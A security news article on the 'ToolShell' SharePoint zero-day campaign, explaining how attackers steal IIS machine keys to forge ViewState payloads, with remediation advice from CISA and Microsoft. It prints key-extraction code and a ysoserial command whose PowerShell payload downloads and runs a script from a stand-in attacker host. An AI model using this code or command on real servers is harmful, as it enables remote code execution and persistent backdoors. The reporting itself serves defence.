Zero-day exploits against Microsoft SharePoint are enabling attackers to extract IIS machine keys, establishing persistent backdoors that survive patches and reboots.
In mid-July 2025, threat actors began abusing two critical SharePoint vulnerabilities—CVE-2025-53770 (deserialization, CVSS 9.8) and CVE-2025-53771 (authentication bypass, CVSS 6.3)—in an attack campaign dubbed “ToolShell”.
The campaign’s ultimate goal is harvesting IIS machine keys, which protect ViewState, cookies, and session data via MAC validation and optional encryption.
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode); IIS machine keys ensure ViewState integrity via SHA1 or HMACSHA256 MACs, and optionally encrypt ViewState. By default, ViewState MAC is enabled but encryption remains “Auto” (disabled), exposing data to potential tampering if keys leak.
Possession of valid machine keys allows attackers to craft malicious ViewState payloads signed with stolen keys. IIS’s LosFormatter deserializes these payloads, triggering code execution using gadget chains (e.g., TextFormattingRunProperties).
Machine keys reside either in web.config (administrator-defined) or auto-generated in the Windows Registry under HKCU\Software\Microsoft\ASP.NET\<version>\AutoGenKeyV4.
Basic shells extract keys from web.config, but advanced scripts—like those by Soroush Dalili—scan registry locations, ensuring key theft even when auto-generated.
Example registry read:
byte[] key = (byte[])Registry.GetValue(
"HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\",
"AutoGenKeyV4", new byte[]{}); With stolen keys, attackers use ysoserial.net to generate signed ViewState payloads:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -exec bypass -Command 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/shell.ps1\")'" \
--validationkey="[KEY]" --validationalg="HMACSHA256" \
--path="/app" --apppath="/app" Submitting this payload to any ASPX endpoint triggers deserialization and remote code execution, effectively installing a persistent backdoor.
CISA added CVE-2025-53770 to its Known Exploited Vulnerabilities catalog and urged immediate patching and key rotation. Microsoft recommends rotating machine keys and restarting IIS using PowerShell cmdlets:
Set-SPMachineKey
Update-SPMachineKey Until key rotation occurs, stolen keys remain valid, allowing attackers ongoing access.
These incidents highlight a systemic issue: exposed machine keys in code repositories and documentation—over 3,000 publicly disclosed keys identified—pose an immediate risk to any ASP.NET application using them. Best practices include:
The SharePoint ToolShell campaign underscores the criticality of cryptographic key management.
Organizations must not only patch vulnerabilities but also proactively manage and rotate machine keys to thwart persistent, cryptography-based backdoors in their IIS environments.
Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!
Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…
Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…
Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…
A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…
GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…
Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…